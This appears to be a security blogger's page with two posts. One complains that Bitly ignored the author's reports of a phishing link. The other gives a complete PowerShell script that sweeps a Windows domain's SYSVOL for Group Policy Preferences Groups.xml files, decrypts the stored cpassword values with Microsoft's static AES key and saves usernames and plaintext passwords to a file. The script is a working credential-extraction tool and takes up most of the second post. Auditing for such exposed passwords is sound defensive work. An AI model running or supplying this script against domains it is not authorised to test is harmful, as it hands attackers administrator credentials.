It’s time to say goodbye to Bit.ly

Don’t get this backwards; they’re still very much alive… but they are dead to me. Today marked the second time in the last few months I’ve emailed them to notify them that their service was being utilized to facilitate a phishing campaign. Both times now they have simply ignored me.

No response.

Nothing.

I notified them on April 5th of one of these links. They never replied. That link still exists today though my emails to the hosting provider and the site owner seemed to have landed on someone’s listening ears as their compromised Drupal install was fixed and updated soon after. The phishing link just takes you to the previously-compromised site’s homepage now but it should have been taken down by Bitly.

Today? Well I got a nice auto-emailer this time at least saying thanks for the email but the link continues to get clicked on by unsuspecting users. At the time of writing more than 2,200 clicks have been registered.

They have nothing listed on their knowledge base about phishing though spam is mentioned. Their support auto-emailer lets you happily know it may take two business days for them to get back to you. More than enough time for a phisher to gather tens of thousands of people’s information.

I’ve once again emailed the hosting provider and the domain registrar. No responses from anyone yet but I happen to use the same registrar for a couple of my domains so I’m hoping to get… something… back.

The phishing site is of lower quality this time, at least. Hopefully some people notice the ‘Finish’ button is instead labeled ‘Finnish’ but if they actually clicked on some random Bitly link sent to them via SMS… chances are low.

Phishing site

Hopefully the hosting provider takes notice.

To my original point; it’s time to let Bitly die on the vine if they can’t even acknowledge their part in the theft of user’s personal information and do something to thwart the thieves taking advantage of their service. They have been given the opportunity to stop a phisher in their tracks and they chose to look the other way.

Just stop trusting Bitly links. If the RickRolls weren’t enough to convince you; this should be.

Bitfail logo

Update 23 June 2016: The only company involved that has responded was the registrar who did so not long after the hosted site stopped responding. Better than silence.

PShell Script: Extract All GPO Set Passwords From Domain

This script parses the domain’s Policies folder looking for Group.xml files.  These files contain either a username change, password setting, or both.  This gives you the raw data for local accounts and/or passwords enforced using Group Policy Preferences.  Microsoft chose to use a static AES key for encrypting this password.  How awesome is that!

The password is encrypted once with AES  in CBC mode at 256 bits.  The key used is:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

A big thank you to my friend Keith B who helped me with tips for the PowerShell code.  I definitely do not have a background working with PS and learned some cool things along the way.

This script was modified from original work by Chris Campbell as noted in the comments.

Update:  21 Oct 2012:  With feedback from Piet Carpentier (@DFTER) and ‘Joe’ I’ve modified the decryptPassword function to correct an issue where the string was sometimes too long or not returned which was returning as a failed decryption rather than a missing string or incorrectly decoded string.  Thanks guys!

Update:  14 Dec 2012:  Reviewed this and found a couple things I could fix or improve on.  The functions return better information and I fixed a bug that caused decryption failures in some cases.

Running this script:

  • Run it against the current domain to find everything:
    • PS C:\> .\GPO-Passwords.ps1
  • Run it against a local copy of a Groups.xml file:
    • PS C:\> .\GPO-Passwords.ps1 -local .\Groups.xml
<#
#################################################
# Group Policy Preferences Password check by:   #
# Nathan V                                      #
# Cyber Security Analyst                        #
# http://nathanv.com                            #
#                                               #
# For assistance and new versions contact       #
# nathan.v@gmail.com                            #
# This file updated: 14 Dec 2012                #
#################################################
# This script (c)2012 Nathan V : License: GPLv2 #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html          #
#################################################
# Based on Get-GPPPassword by:                  #
# Chris Campbell                                #
# www.obscuresecurity.blogspot.com              #
# @obscuresec                                   #
#################################################
#>
Param(
    [alias("local")]
    $localfile)

# Import the Group Policy module;  required for finding the GPO name for each password.  If this fails the names will not resolve but other functions will still work.
import-module grouppolicy -ea SilentlyContinue
$results = @()  # declare dynamic results array

# Function to allow us to go to the network DIR and then return back to where we started
function cdir {
    if ($args[0] -eq '-') {
            $pwd=$OLDPWD;
        } else {
            $pwd=$args[0];
        }
        $tmp=pwd;
        if ($pwd) {
            Set-Location $pwd;
        }
    Set-Variable -Name OLDPWD -Value $tmp -Scope global;
}

#Function to pull encrypted password string from groups.xml
function parsecPassword {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $cPassword = $Xml.Groups.User.Properties.cpassword
    } catch { $cPassword = "No Password Policy Found" }
    return $cPassword
}
#Function to look to see if the administrator account is given a newname
function parseNewName {
    try {
    [xml] $Xml = Get-Content ($Path)
    [string] $newName = $Xml.Groups.User.Properties.newName
    if ($newName) {
      return $newName
    } else {
      return "No Username Specified"
    }
    } catch { $newName = "Error" }
}
#Function to parse out the Username whose password is being specified
function parseUserName {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $userName = $Xml.Groups.User.Properties.userName
    if ($userName) {
      return $userName
    } else {
      return "No Username Specified"
    }
    } catch { $userName = "Error" }
}

#Function that decodes and decrypts password
function decryptPassword {
    try {
    if( $cPassword.Length -eq 0 ) {
      return "Empty Password!"
    } elseif( $cPassword.Length -gt 64 ) {
      [string]$cPassword = [string]$cPassword.Substring(0,64)
    } else {`
      [string]$Pad = "=" * (4 - ($cPassword.length % 4))
    }
        $b64Decoded = [Convert]::FromBase64String($cPassword + $Pad)
        $aesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $aesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        $aesIV = New-Object Byte[]($aesObject.IV.Length)
        $aesObject.IV = $aesIV
        $aesObject.Key = $aesKey
        $decryptorObject = $aesObject.CreateDecryptor()
        [Byte[]] $outBlock = $decryptorObject.TransformFinalBlock($b64Decoded, 0, $b64Decoded.length)
        return [System.Text.UnicodeEncoding]::Unicode.GetString($outBlock)
    } catch { return "Decryption Failed!" }
}

# Function to find the policy name to locate where the password is valid
function getGPO {
    $guid = $Path.Substring(1,36)
    try {
        $gpoName = get-gpo -guid $guid | Select-Object -ExpandProperty DisplayName
    } catch {
        $gpoName = "Unable to find GPO name"
    }
    return $gpoName
}

# Function to parse the XML, decrypt the key, and return the results.
function parseDecrypt($path) {
    $cPassword = parsecPassword
    $password = decryptPassword
    $newName = parseNewName
    $userName = parseUserName
    if ($localfile -eq $null) {$gpo = getGPO} else {$gpo = "Local file"}
    $results = "$username, $newName, $password, $gpo"
    return $results
}
Clear-Host
if ($localfile -eq $null) {
    Write-Host "Searching $Env:UserDNSDomain for Group Policy Preferences passwords."
    Write-Host "On a large domain this may take some time. Please wait..."
    $sourceXML = Get-ChildItem -Path "\\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies" -recurse -name -include Groups.xml
    cdir \\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies\  # Due to the potential length of the filenames given a long domain name we CD to the Policies folder to shrink it down
    } else {
    Write-Host "-local used; checking file $file"
    $sourceXML = $localfile
    }

Write-Host " "
Write-Host "Username, New name (if any), Password, source GPO:"
Write-Host " "

foreach($file in $sourceXML) { 
    $results += parseDecrypt $file
    }
if ($localfile -eq $null) {cdir -}
"Username, New name (if any), Password, source GPO:" > ".\domain_passwords.txt"
foreach($result in $results) {
    Write-Host $result
    $result >> ".\domain_passwords.txt"
    }
Write-Host " "
Write-Host "List of discovered setttings saved as .\domain_passwords.txt"

More Information: